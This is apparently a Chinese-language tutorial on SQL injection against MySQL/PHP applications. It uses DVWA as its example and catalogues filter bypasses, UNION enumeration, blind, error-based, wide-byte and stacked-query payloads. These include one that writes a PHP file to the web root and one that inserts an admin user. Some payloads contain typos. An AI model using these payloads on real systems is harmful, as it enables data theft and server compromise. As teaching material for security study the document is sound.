添加链接
link管理
链接快照平台
  • 输入网页链接,自动生成快照
  • 标签化管理网页链接

0x00 SQL注入介绍

SQL注入攻击是最为常见的Web安全漏洞之一,常年霸占OWASP第一名,可见其危害十分大。
SQL注入是由于过滤不严,将构造的SQL语句插入或添加到应用(用户)的输入参数中,从而可以非法执行数据库命令的攻击,可以获取网站数据,严重的会直接控制服务器。

0x01 SQL注入原理

本篇文章就MySQL为例,其他数据库在这里就不做扩展了。所以说学习注入,首先要学好数据库语言。

我们来看DVWA中,SQL注入漏洞的关键代码
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' ";
这里是连接数据库的,在数据库执行的查询语句,我们构造参数插入SQL语句。
例如
?id=1' or 1=1 --
语句就变成了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ' ";
成功插入了 or 1=1,这样就会查询users表里所有的name

0x02 SQL注入技巧

注释

注释在SQL注入中是必不可少的,它可以帮助构造SQL语句,包括
行间注释:

  • -- (注意前后有空格)
  • 行内注释:

  • /*注释内容*/ 在空格被过滤时,可以利用其替换空格
  • /*!注释内容*/ 可以利用其测试数据库版本
  • 编码

    ASCII() 返回字符的ASCII码值
    CHAR() 把整数转化为对应字符
    HEX() UNHEX() 16进制编码解码

    常用方法

    USER() 当前数据库用户
    database() 当前数据库名
    version() 数据库版本
    @@datadir 数据库存储数据路径
    @@global.version_complie_os FROM mysql.user 操作系统版本
    concat() 连接多条数据
    group_concat() 与concat()类似
    load_file() 读取文件
    substr() mid() substring() 截取字段
    information_scheam MySQL自带的数据库,包含其他所有数据库信息

    绕过

    为了保证安全性,防止SQL注入发生,程序员会做一些代码层的防护,比如过滤参数。然而有些过滤是可以进行绕过的,例如

  • 空格被过滤,可以利用 + , () , /**/ 绕过
  • 单引号被过滤,可以对数据进行编码
  • 查询语句被过滤,可以利用大写,或者 selselectect 尝试绕过
  • || && 代替 and or
  • 字符串黑名单,可以利用 concat('a','d','m','i','n') 绕过
  • 除此之外还有很多

    0x03 SQL注入方法

    判断注入点

    在注入开始之前,需要先判断注入点存在。找到网站与数据库连接的地方,例如用户登录,信息搜索等。在参数后加 ' and 1=1 and 1=2 等进行测试

    一般注入

    判断返回字段个数
    order by 2 --
    查询当前数据库名及数据库版本
    and 1=2 UNION SELECT database(),version() --
    查询数据库
    and 1=2 UNION SELECT 1,schema_name FROM information_schema.schemata --
    查询表
    and 1=2 UNION SELECT 1,table_name FROM information_scheam.tables WHERE table_schema=数据库名的十六进制编码 --
    查询列
    and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=表名的十六进制编码 --
    查询字段
    and 1=2 UNION SELECT 1,字段 FROM 表名 --
    判断是否具有读写权限
    and (select count(*) from mysql.user)>0/*
    写文件
    union select 1,char(xx,xx,xx) into outfile '/var/www/html/1.php'/*

    布尔盲注

    在不返回字段 没有回显时,需要用到盲注

    猜解数据库长度
    and length(database())>1 #
    写脚本fuzz数据库名
    and substr(database(),%d,1)='%s' %%23
    过滤了单引号的话可以使用ascii()
    and ascii(substr(database(),%d,1)=%d %%23)
    利用正则REGEXP
    1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
    接下来查询表,字段结合一般注入,方法相同

    时间盲注

    利用函数将返回时间延迟,从而得知语句查询是否正确

    sleep()延时
    if(ascii(substr(database(),1,1))>115,0,sleep(5)) #
    benchmark()延时,是将后面的函数执行多次,比较占用CPU,进行测试时不推荐用这种方法
    UNION SELECT IF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)) User,Password FROM mysql.user WHERE User = 'root'

    报错注入

    通过构造使信息从错误提示中回显

    利用floor()
    select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
    对xml数据进行查询和修改的xpath函数,xpath语法错误
    updatexml(1,concat(0x3a,(select user())),1)
    利用extractvalue()
    extractvalue(1,concat(0x7e,(select @@version),0x7e))

    报错函数,可以利用他们获取数据库名和表名
    https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html

    宽字节注入

    如果php设置了编码
    mysql_query("set NAMES'gbk'",$conn);
    就会引发宽字节注入,例如 %df' 会被addslashes()转义为 %df\' url编码后为 %df%5c%27 在gbk编码下认为其是一个宽字节 縗’
    就会产生注入

    PDO堆查询注入

    如果php使用PDO连接数据库,便可以使用堆查询,可以同时执行多个语句
    SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('xxx', '123456','admin');

    还有其他注入这里就不一一列举了。上述提到的注入,也有很多不同的方法,因为现实环境、代码的不同,注入语句也不尽相同。

    0x04 SQL注入常用工具